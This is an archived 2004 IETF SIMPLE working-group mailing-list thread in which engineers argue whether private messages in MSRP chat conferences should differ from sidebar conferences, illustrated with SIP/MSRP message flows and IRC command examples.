List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 04:28:34 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Folks, what about this one:

A sidebar conference is a temporary scoped subconference. By temporary 
scoped I mean it exists  (has an associated resource URI) for some 
duration time. The participants may or may not be part of the main 
conference. Messages are addressed to the sidebar conference, in a 
similar way a message is addressed to the conference. The sender may or 
may not know who are the members of the sidebar conference.

A private message is not temporary scoped and it is not identified by a 
resource URI. Unlike sidebar conferences, the participants are a subset 
of the conference. Unlike sidebar conferences, private messages are 
addressed to each of the receivers, since there is not a resource 
associated with it. The sender has to explicitly define the receivers of 
the message.

Miguel

Isomaki Markus (Nokia-NRC/Helsinki) wrote:

> Hi,
> 
> I don't see us getting to agreement here... Still, see below:
> 
> 
>>-----Original Message-----
>>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
>>Sent: 02 March, 2004 03:35
>>To: Isomaki Markus (Nokia-NRC/Helsinki); Niemi Aki (Nokia-M/Espoo)
>>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
>>(Nokia-TP-MSW/Helsinki); Garcia Miguel.An (Nokia-NRC/Helsinki);
>>simple@ietf.org
>>Subject: RE: [Simple] Chat sessions
>>
>>
>>What is the difference between a sidebar and a private message?
>>
>>I think the ONLY difference is the number of people involved.
>>
>>A sidebar is two or more.  A private message is exactly two.
>>
> 
> 
> I don't think we need to limit the number of recipients for the private message. The only thing is that they need to be conference participants.
> 
> 
>>There is NO other meaningful difference.
>>
>>Your argument on overhead is directly comparable to the argument
>>we went through when we defined sidebars as separate sessions.
>>I argued that we should NOT create a separate session, but
>>simply alter the media policy appropriately.  You are simply
>>repeating the arguments I made.
>>
>>I lost that argument.  
>>
> 
> 
> My comment to that is that there are differences in medias that should be taken into account. As you see in the example I made, having only one solution leads to hugely unoptimal system. 
> 
> 
>>Brian
>>
>>
>>>-----Original Message-----
>>>From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
>>>Sent: Monday, March 01, 2004 8:16 PM
>>>To: Brian.Rosen@marconi.com; aki.niemi@nokia.com
>>>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com;
>>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
>>>simple@ietf.org
>>>Subject: RE: [Simple] Chat sessions
>>>
>>>
>>>Hi,
>>>
>>>It seems we are not getting the message through ;)
>>>
>>>Let's see how sending a private message looks like as a 
>>>sidebar vs. as proposed in the current draft. The case is 
>>>this: Users A and B participate in the same conference, A 
>>>wants to send a private message to B.
>>>
>>>Sidebar case would be roughly like this:
>>>1. A creates a conference for a sidebar using INVITE
>>>   - new MSRP session is established between A and the new 
>>>focus instance
>>>2. A refers B to that conference
>>>3. B joins the conference
>>>   - new MSRP session is established
>>>4. A sends MSRP SEND request to the conference
>>>5. focus forwards it to B
>>>6. A sends BYE
>>>7. focus sends BYE to B
>>>
>>>If B replies after 10 seconds, the whole process is followed 
>>>again from 1 to 7.
>>>
>>>Private message case:
>>>1. A sends private message targeted to B over an existing 
>>
>>MSRP session
>>
>>>2. focus forwards it to B
>>>
>>>So which solution would you like to adopt? 
>>>
>>>Markus
>>>
>>>
>>>
>>>>-----Original Message-----
>>>>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
>>>>Sent: 01 March, 2004 12:41
>>>>To: Niemi Aki (Nokia-M/Espoo)
>>>>Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
>>>>pkyzivat@cisco.com; Khartabil Hisham 
>>
>>(Nokia-TP-MSW/Helsinki); Garcia
>>
>>>>Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
>>>>Subject: RE: [Simple] Chat sessions
>>>>
>>>>
>>>>Aki
>>>>
>>>>My post was meant to point out that we had decided to 
>>>>implement sidebars
>>>>as separate dialogs from main conferences, which is similar 
>>>
>>>to making
>>>
>>>>"private messages" separate dialogs from a main IM 
>>
>>dialog.  In that
>>
>>>>way, I think that sidebars and private messages are the 
>>>
>>>same; they are
>>>
>>>>media sent to a subset of participants in the group.  If there
>>>>is a reason to allow a special way to subset destinations for a
>>>>private message rather than the entire chat group, then whatever
>>>>argument you make would apply to a sidebar.  
>>>>
>>>>Brian
>>>>
>>>>
>>>>>-----Original Message-----
>>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
>>>>>Sent: Monday, March 01, 2004 2:58 AM
>>>>>To: ext Rosen, Brian
>>>>>Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
>>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
>>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
>>>>>Subject: Re: [Simple] Chat sessions
>>>>>
>>>>>
>>>>>Brian,
>>>>>
>>>>>I've never argued for private messages over sidebars. I still 
>>>>>maintain 
>>>>>that sidebars and private messages are different and 
>>>>
>>>>*complimentary* 
>>>>
>>>>>features, and that we need *both* to have a complete 
>>>>
>>>>solution for IM 
>>>>
>>>>>conferences.
>>>>>
>>>>>Cheers,
>>>>>Aki
>>>>>
>>>>>ext Rosen, Brian wrote:
>>>>>
>>>>>>Aki
>>>>>>
>>>>>>When we were discussing sidebars, I made arguments like 
>>>>>
>>>>>this against making
>>>>>
>>>>>>a sidebar
>>>>>>a separate session.  Sidebars, I argued, are just media 
>>>>>
>>>>>(mixing) changes,
>>>>>
>>>>>>they have
>>>>>>nothing to do with session management.
>>>>>>
>>>>>>I lost this argument, and I will be very unhappy if IM 
>>>>>
>>>>>works differently.
>>>>>
>>>>>>One of
>>>>>>the reasons I lost it was the observation that a sidebar 
>>>>>
>>>>>could include
>>>>>
>>>>>>participants
>>>>>>who are not main conference participants.  I think you have 
>>>>>
>>>>>the same issue
>>>>>
>>>>>>here.
>>>>>>
>>>>>>Brian
>>>>>>
>>>>>>
>>>>>>
>>>>>>>-----Original Message-----
>>>>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
>>>>>>>Sent: Sunday, February 29, 2004 12:40 PM
>>>>>>>To: ext Jonathan Rosenberg
>>>>>>>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
>>>>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
>>>>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
>>>>>>>Subject: Re: [Simple] Chat sessions
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>ext Jonathan Rosenberg wrote:
>>>>>>><snip />
>>>>>>>
>>>>>>>>>3. As Aki explained, sidebars and private IMs within a 
>>>>
>>>>conference 
>>>>
>>>>>>>>>are two different things. Sidebars are subconferences, 
>>>>>
>>>>>that include
>>>>>
>>>>>>>>>a certain subset of the participants in the main 
>>>>>
>>>>>conference. They 
>>>>>
>>>>>>>>>need to be explicitly created and deleted. Private 
>>>
>>>IMs within a 
>>>
>>>>>>>>>conference are also targeted to a subset of the conference 
>>>>>>>>>participants. But there is no need to setup a sidebar or 
>>>>>
>>>>>any other 
>>>>>
>>>>>>>>>additional context to send them. The recipients can 
>>
>>simply be 
>>
>>>>>>>>>signaled within each message (as proposed by using CPIM 
>>>>>
>>>>>To header).
>>>>>
>>>>>>>>>This seems to be a specific property of IM, as 
>>
>>this sort of 
>>
>>>>>>>>>addressing would be impossible e.g. in RTP. In 
>>
>>theory priate 
>>
>>>>>>>>>messaging facility could be supported by sidebars, but in 
>>>>>
>>>>>this case
>>>>>
>>>>>>>>>the focus would need to have as many sidebars constantly 
>>>>>
>>>>>setup, as
>>>>>
>>>>>>>>>there are different possible participant subset 
>>>>>
>>>>>combinations. Way 
>>>>>
>>>>>>>>>too complex and not needed.
>>>>>>>>
>>>>>>>>
>>>>>>>>I dont think that, functionally, what you are describing is 
>>>>>>>
>>>>>>>different
>>>>>>>
>>>>>>>
>>>>>>>>from a sidebar. What differs is that the specifics of 
>>>>
>>>>this media 
>>>>
>>>>>>>>type allow for a more efficient implementation of the 
>>>>
>>>>sidebar than 
>>>>
>>>>>>>>would be possible for another media type, such as audio. 
>>>>>>>
>>>>>>>Indeed, the 
>>>>>>>
>>>>>>>
>>>>>>>>same is true for IM in general - why set up a session (ala 
>>>>>>>
>>>>>>>msrp) when
>>>>>>>
>>>>>>>
>>>>>>>>you can just send a pager mode?
>>>>>>>
>>>>>>>The ultimate proof of difference in functionality is 
>>>
>>>that private
>>>
>>>>>>>messages are usable and useful in a sidebar - in fact 
>>>
>>>it makes no
>>>
>>>>>>>difference whether they're sent within the context of a 
>>>>>
>>>>>conference, a
>>>>>
>>>>>>>conference sidebar, or a sidebar of a conference sidebar.
>>>>>>>
>>>>>>>Let me provide a concrete example of an already existing 
>>>>>
>>>>>service (IRC)
>>>>>
>>>>>>>that has what I think is a close approximation of both 
>>>
>>>sidebar and
>>>
>>>>>>>private message functionality. (BTW, I feel strongly 
>>>
>>>that if MSRP
>>>
>>>>>>>conferences aren't as feature rich as IRC is, and provide the 
>>>>>>>same user
>>>>>>>experience, we've failed miserably.)
>>>>>>>
>>>>>>>Channels in IRC have identities, e.g., #helsinki, and 
>>>>>>>participant lists
>>>>>>>that are delivered in a very similar manner that the 
>>>>
>>>>conference-info
>>>>
>>>>>>>events would be delivered. Users join these channels 
>>>>
>>>>using JOIN, at
>>>>
>>>>>>>which time they get the participant list, and after that, 
>>>>>>>updates e.g.,
>>>>>>>whenever anyone leaves or joins the channel.
>>>>>>>
>>>>>>>Users can send private messages to the other participants in 
>>>>>>>the channel:
>>>>>>>
>>>>>>>	PRIVMSG foobar :Some nick you got there foobar!
>>>>>>>
>>>>>>>Usually, these messages are displayed in the same pane as 
>>>>>
>>>>>the rest of
>>>>>
>>>>>>>the channel's messages, including information about the 
>>>
>>>sender but
>>>
>>>>>>>marked accordingly as private.
>>>>>>>
>>>>>>>A user can also invite others to a sidebar of sorts, that 
>>>>
>>>>is, a new
>>>>
>>>>>>>channel, whose properties can be set such that it can 
>>>
>>>be joined by
>>>
>>>>>>>invitation only.
>>>>>>>
>>>>>>>	INVITE FunnyNick #my_channel
>>>>>>>	INVITE BeerLover #my_channel
>>>>>>>	INVITE ROOLZ #my_channel
>>>>>>>
>>>>>>>Joining this new channel as a result of an invitation 
>>>
>>>(with JOIN)
>>>
>>>>>>>usually results in a new window, moving the focus of 
>>>>>
>>>>>conversation away
>>>>>
>>>>>>>from the original channel, but still maintaining the 
>>>>>
>>>>>original channel'
>>>>>
>>>>>>>and its messages active in the background.
>>>>>>>
>>>>>>>The users may again send messages either to the entire 
>>>>>>>channel (MSG), or
>>>>>>>to only one participant (PRIVMSG). A recipient of an 
>>
>>INVITE will
>>
>>>>>>>generally make a choice just like in a SIP invitation whether 
>>>>>>>or not to
>>>>>>>join the sidebar or not. Receiving a PRIVMSG requires no 
>>>>>
>>>>>actions from
>>>>>
>>>>>>>the recipient. Indeed, it might even go unnoticed.
>>>>>>>
>>>>>>>Taking this into account, I fail to see how sidebars alone 
>>>>>
>>>>>can be made
>>>>>
>>>>>>>to work in providing similar functionality in MSRP 
>>>>>
>>>>>conferences. Either
>>>>>
>>>>>>>sidears or private messages alone won't result in the 
>>>>
>>>>same level of
>>>>
>>>>>>>functionality.
>>>>>>>
>>>>>>>Wrapping all private conversation inside a sidebar is 
>>
>>incredibly
>>
>>>>>>>inefficient and results in bad user experience, since there 
>>>>>>>is no way to
>>>>>>>distinguish a REFER that is to a sidebar whose sole purpose 
>>>>>>>is to send a
>>>>>>>single private message to the user or have a real ad-hoc 
>>>>>
>>>>>conversation
>>>>>
>>>>>>>posibly consisting of a real exchange of messages. In fact, 
>>>>>
>>>>>this would
>>>>>
>>>>>>>require 4 rounds of singalling (not including sidebar 
>>>
>>>creation and
>>>
>>>>>>>tear-down), plus user interaction in between:
>>>>>>>
>>>>>>>REFER (to sidebar)
>>>>>>>200 OK
>>>>>>>
>>>>>>>-Query/inform user whether wants to join-
>>>>>>>
>>>>>>>INVITE (to sidebar)
>>>>>>>200 OK
>>>>>>>ACK
>>>>>>>
>>>>>>>(Note: would probably also require subscription to 
>>>>
>>>>conference-info,
>>>>
>>>>>>>because one would be interested to whom they are sending 
>>>>
>>>>the private
>>>>
>>>>>>>messages...)
>>>>>>>
>>>>>>>MSRP SEND
>>>>>>>MSRP OK
>>>>>>>
>>>>>>>BYE
>>>>>>>200 OK
>>>>>>>
>>>>>>>...as opposed to a single round of messages:
>>>>>>>
>>>>>>>MSRP SEND (private)
>>>>>>>200 OK
>>>>>>>
>>>>>>>(Note that enabling auto-answering wrt the REFER would in the 
>>>>>>>worst case
>>>>>>>result in a sidebar bombardment, or having a user be 
>>>>
>>>>moved over to a
>>>>
>>>>>>>sidebar in the middle of, say, message composition.)
>>>>>>>
>>>>>>>The same level of functionality would also not be met with 
>>>>>
>>>>>only using
>>>>>
>>>>>>>private messages. AFAIK, the purpose of a sidebar is to 
>>>>>
>>>>>move the focus
>>>>>
>>>>>>>of the conversation temporarily outside the original 
>>>>>
>>>>>conference. This
>>>>>
>>>>>>>requires being able to wrap a discussion into a separate 
>>>>>>>context. A very
>>>>>>>important aspect of this is to let the user decide whether to 
>>>>>>>joing such
>>>>>>>a sidebar, and when to join it. Determining to which context a
>>>>>>>particular received private message belongs to can in this 
>>>>>>>case only be
>>>>>>>done in the recipients head - there are no protocol 
>>>>>
>>>>>elements to help.
>>>>>
>>>>>>>As a conclusion, I don't see how sidebars alone can provide 
>>>>>>>the required
>>>>>>>functionality.
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>>So, the question is, do we see the perceived efficiency 
>>>>>>>
>>>>>>>improvements 
>>>>>>>
>>>>>>>
>>>>>>>>of a pager-mode sidebar as being sufficiently good to 
>>>
>>>allow for 
>>>
>>>>>>>>defining a separate sidebar mechanism for it?
>>>>>>>
>>>>>>>It is also about user interaction. When a user receives an 
>>>>>>>INVITE for an
>>>>>>>MSRP session, it can make a choice just like in a voice 
>>>>
>>>>call between
>>>>
>>>>>>>accepting the call or rejecting it. Page mode doesn't 
>>>>
>>>>provide that 
>>>>
>>>>>>>functionality.
>>>>>>>
>>>>>>>Cheers,
>>>>>>>Aki
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>>-Jonathan R.
>>>>>>>
>>>>>_______________________________________________
>>>>>Simple mailing list
>>>>>Simple@ietf.org
>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>
>>>>
> 

-- 
Miguel A. Garcia           tel:+358-50-4804586
Nokia Research Center      Helsinki, Finland


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 23:40:14 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA00089
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 23:40:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1hW-0000RL-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 23:40:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay1ga-0000JH-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 23:39:18 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1ff-0000Bc-00; Mon, 01 Mar 2004 23:38:19 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1fO-0007ga-HK; Mon, 01 Mar 2004 23:38:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1eZ-0007Uy-5S
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 23:37:11 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA29956
	for <simple@ietf.org>; Mon, 1 Mar 2004 23:37:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1eX-00001l-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:37:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay1da-0007gi-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:36:11 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1cb-0007Sb-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:35:09 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i224YPaZ028755;
	Mon, 1 Mar 2004 23:34:25 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id XAA04992;
	Mon, 1 Mar 2004 23:34:25 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <GDP2Y74T>; Mon, 1 Mar 2004 23:34:24 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B6487@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Miguel Garcia'" <Miguel.An.Garcia@nokia.com>,
        "Isomaki Markus (Nokia-NRC/Helsinki)" <Markus.Isomaki@nokia.com>
Cc: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, jdrosen@dynamicsoft.com,
        pkyzivat@cisco.com,
        "Khartabil Hisham (Nokia-TP-MSW/Helsinki)" <hisham.khartabil@nokia.com>,
        simple@ietf.org
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 23:34:15 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Doesn't work for me; you don't need a resource URI for a sidebar.  You might
be
able to use one, but its not necessary.  The only characteristic of a
sidebar
that matters is that the media goes to a subset of participants.

You need some identifier in all cases.  

Let me push this in another direction.

What makes a private message different from an instant message to a totally
arbitrary person (not related to the main conference)?  Is it just that the
set of possible destinations is limited to those in the main conference?
Why is that interesting in a protocol sense?

Brian

> -----Original Message-----
> From: Miguel Garcia [mailto:Miguel.An.Garcia@nokia.com]
> Sent: Monday, March 01, 2004 9:29 PM
> To: Isomaki Markus (Nokia-NRC/Helsinki)
> Cc: ext Rosen, Brian; Niemi Aki (Nokia-M/Espoo);
> jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> (Nokia-TP-MSW/Helsinki); simple@ietf.org
> Subject: Re: [Simple] Chat sessions
> 
> 
> Folks, what about this one:
> 
> A sidebar conference is a temporary scoped subconference. By 
> temporary 
> scoped I mean it exists  (has an associated resource URI) for some 
> duration time. The participants may or may not be part of the main 
> conference. Messages are addressed to the sidebar conference, in a 
> similar way a message is addressed to the conference. The 
> sender may or 
> may not know who are the members of the sidebar conference.
> 
> A private message is not temporary scoped and it is not 
> identified by a 
> resource URI. Unlike sidebar conferences, the participants 
> are a subset 
> of the conference. Unlike sidebar conferences, private messages are 
> addressed to each of the receivers, since there is not a resource 
> associated with it. The sender has to explicitly define the 
> receivers of 
> the message.
> 
> Miguel
> 
> Isomaki Markus (Nokia-NRC/Helsinki) wrote:
> 
> > Hi,
> > 
> > I don't see us getting to agreement here... Still, see below:
> > 
> > 
> >>-----Original Message-----
> >>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> >>Sent: 02 March, 2004 03:35
> >>To: Isomaki Markus (Nokia-NRC/Helsinki); Niemi Aki (Nokia-M/Espoo)
> >>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> >>(Nokia-TP-MSW/Helsinki); Garcia Miguel.An (Nokia-NRC/Helsinki);
> >>simple@ietf.org
> >>Subject: RE: [Simple] Chat sessions
> >>
> >>
> >>What is the difference between a sidebar and a private message?
> >>
> >>I think the ONLY difference is the number of people involved.
> >>
> >>A sidebar is two or more.  A private message is exactly two.
> >>
> > 
> > 
> > I don't think we need to limit the number of recipients for 
> the private message. The only thing is that they need to be 
> conference participants.
> > 
> > 
> >>There is NO other meaningful difference.
> >>
> >>Your argument on overhead is directly comparable to the argument
> >>we went through when we defined sidebars as separate sessions.
> >>I argued that we should NOT create a separate session, but
> >>simply alter the media policy appropriately.  You are simply
> >>repeating the arguments I made.
> >>
> >>I lost that argument.  
> >>
> > 
> > 
> > My comment to that is that there are differences in medias 
> that should be taken into account. As you see in the example 
> I made, having only one solution leads to hugely unoptimal system. 
> > 
> > 
> >>Brian
> >>
> >>
> >>>-----Original Message-----
> >>>From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> >>>Sent: Monday, March 01, 2004 8:16 PM
> >>>To: Brian.Rosen@marconi.com; aki.niemi@nokia.com
> >>>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com;
> >>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
> >>>simple@ietf.org
> >>>Subject: RE: [Simple] Chat sessions
> >>>
> >>>
> >>>Hi,
> >>>
> >>>It seems we are not getting the message through ;)
> >>>
> >>>Let's see how sending a private message looks like as a 
> >>>sidebar vs. as proposed in the current draft. The case is 
> >>>this: Users A and B participate in the same conference, A 
> >>>wants to send a private message to B.
> >>>
> >>>Sidebar case would be roughly like this:
> >>>1. A creates a conference for a sidebar using INVITE
> >>>   - new MSRP session is established between A and the new 
> >>>focus instance
> >>>2. A refers B to that conference
> >>>3. B joins the conference
> >>>   - new MSRP session is established
> >>>4. A sends MSRP SEND request to the conference
> >>>5. focus forwards it to B
> >>>6. A sends BYE
> >>>7. focus sends BYE to B
> >>>
> >>>If B replies after 10 seconds, the whole process is followed 
> >>>again from 1 to 7.
> >>>
> >>>Private message case:
> >>>1. A sends private message targeted to B over an existing 
> >>
> >>MSRP session
> >>
> >>>2. focus forwards it to B
> >>>
> >>>So which solution would you like to adopt? 
> >>>
> >>>Markus
> >>>
> >>>
> >>>
> >>>>-----Original Message-----
> >>>>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> >>>>Sent: 01 March, 2004 12:41
> >>>>To: Niemi Aki (Nokia-M/Espoo)
> >>>>Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
> >>>>pkyzivat@cisco.com; Khartabil Hisham 
> >>
> >>(Nokia-TP-MSW/Helsinki); Garcia
> >>
> >>>>Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
> >>>>Subject: RE: [Simple] Chat sessions
> >>>>
> >>>>
> >>>>Aki
> >>>>
> >>>>My post was meant to point out that we had decided to 
> >>>>implement sidebars
> >>>>as separate dialogs from main conferences, which is similar 
> >>>
> >>>to making
> >>>
> >>>>"private messages" separate dialogs from a main IM 
> >>
> >>dialog.  In that
> >>
> >>>>way, I think that sidebars and private messages are the 
> >>>
> >>>same; they are
> >>>
> >>>>media sent to a subset of participants in the group.  If there
> >>>>is a reason to allow a special way to subset destinations for a
> >>>>private message rather than the entire chat group, then whatever
> >>>>argument you make would apply to a sidebar.  
> >>>>
> >>>>Brian
> >>>>
> >>>>
> >>>>>-----Original Message-----
> >>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> >>>>>Sent: Monday, March 01, 2004 2:58 AM
> >>>>>To: ext Rosen, Brian
> >>>>>Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> >>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> >>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
> >>>>>Subject: Re: [Simple] Chat sessions
> >>>>>
> >>>>>
> >>>>>Brian,
> >>>>>
> >>>>>I've never argued for private messages over sidebars. I still 
> >>>>>maintain 
> >>>>>that sidebars and private messages are different and 
> >>>>
> >>>>*complimentary* 
> >>>>
> >>>>>features, and that we need *both* to have a complete 
> >>>>
> >>>>solution for IM 
> >>>>
> >>>>>conferences.
> >>>>>
> >>>>>Cheers,
> >>>>>Aki
> >>>>>
> >>>>>ext Rosen, Brian wrote:
> >>>>>
> >>>>>>Aki
> >>>>>>
> >>>>>>When we were discussing sidebars, I made arguments like 
> >>>>>
> >>>>>this against making
> >>>>>
> >>>>>>a sidebar
> >>>>>>a separate session.  Sidebars, I argued, are just media 
> >>>>>
> >>>>>(mixing) changes,
> >>>>>
> >>>>>>they have
> >>>>>>nothing to do with session management.
> >>>>>>
> >>>>>>I lost this argument, and I will be very unhappy if IM 
> >>>>>
> >>>>>works differently.
> >>>>>
> >>>>>>One of
> >>>>>>the reasons I lost it was the observation that a sidebar 
> >>>>>
> >>>>>could include
> >>>>>
> >>>>>>participants
> >>>>>>who are not main conference participants.  I think you have 
> >>>>>
> >>>>>the same issue
> >>>>>
> >>>>>>here.
> >>>>>>
> >>>>>>Brian
> >>>>>>
> >>>>>>
> >>>>>>
> >>>>>>>-----Original Message-----
> >>>>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> >>>>>>>Sent: Sunday, February 29, 2004 12:40 PM
> >>>>>>>To: ext Jonathan Rosenberg
> >>>>>>>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> >>>>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> >>>>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
> >>>>>>>Subject: Re: [Simple] Chat sessions
> >>>>>>>
> >>>>>>>
> >>>>>>>
> >>>>>>>
> >>>>>>>ext Jonathan Rosenberg wrote:
> >>>>>>><snip />
> >>>>>>>
> >>>>>>>>>3. As Aki explained, sidebars and private IMs within a 
> >>>>
> >>>>conference 
> >>>>
> >>>>>>>>>are two different things. Sidebars are subconferences, 
> >>>>>
> >>>>>that include
> >>>>>
> >>>>>>>>>a certain subset of the participants in the main 
> >>>>>
> >>>>>conference. They 
> >>>>>
> >>>>>>>>>need to be explicitly created and deleted. Private 
> >>>
> >>>IMs within a 
> >>>
> >>>>>>>>>conference are also targeted to a subset of the conference 
> >>>>>>>>>participants. But there is no need to setup a sidebar or 
> >>>>>
> >>>>>any other 
> >>>>>
> >>>>>>>>>additional context to send them. The recipients can 
> >>
> >>simply be 
> >>
> >>>>>>>>>signaled within each message (as proposed by using CPIM 
> >>>>>
> >>>>>To header).
> >>>>>
> >>>>>>>>>This seems to be a specific property of IM, as 
> >>
> >>this sort of 
> >>
> >>>>>>>>>addressing would be impossible e.g. in RTP. In 
> >>
> >>theory priate 
> >>
> >>>>>>>>>messaging facility could be supported by sidebars, but in 
> >>>>>
> >>>>>this case
> >>>>>
> >>>>>>>>>the focus would need to have as many sidebars constantly 
> >>>>>
> >>>>>setup, as
> >>>>>
> >>>>>>>>>there are different possible participant subset 
> >>>>>
> >>>>>combinations. Way 
> >>>>>
> >>>>>>>>>too complex and not needed.
> >>>>>>>>
> >>>>>>>>
> >>>>>>>>I dont think that, functionally, what you are describing is 
> >>>>>>>
> >>>>>>>different
> >>>>>>>
> >>>>>>>
> >>>>>>>>from a sidebar. What differs is that the specifics of 
> >>>>
> >>>>this media 
> >>>>
> >>>>>>>>type allow for a more efficient implementation of the 
> >>>>
> >>>>sidebar than 
> >>>>
> >>>>>>>>would be possible for another media type, such as audio. 
> >>>>>>>
> >>>>>>>Indeed, the 
> >>>>>>>
> >>>>>>>
> >>>>>>>>same is true for IM in general - why set up a session (ala 
> >>>>>>>
> >>>>>>>msrp) when
> >>>>>>>
> >>>>>>>
> >>>>>>>>you can just send a pager mode?
> >>>>>>>
> >>>>>>>The ultimate proof of difference in functionality is 
> >>>
> >>>that private
> >>>
> >>>>>>>messages are usable and useful in a sidebar - in fact 
> >>>
> >>>it makes no
> >>>
> >>>>>>>difference whether they're sent within the context of a 
> >>>>>
> >>>>>conference, a
> >>>>>
> >>>>>>>conference sidebar, or a sidebar of a conference sidebar.
> >>>>>>>
> >>>>>>>Let me provide a concrete example of an already existing 
> >>>>>
> >>>>>service (IRC)
> >>>>>
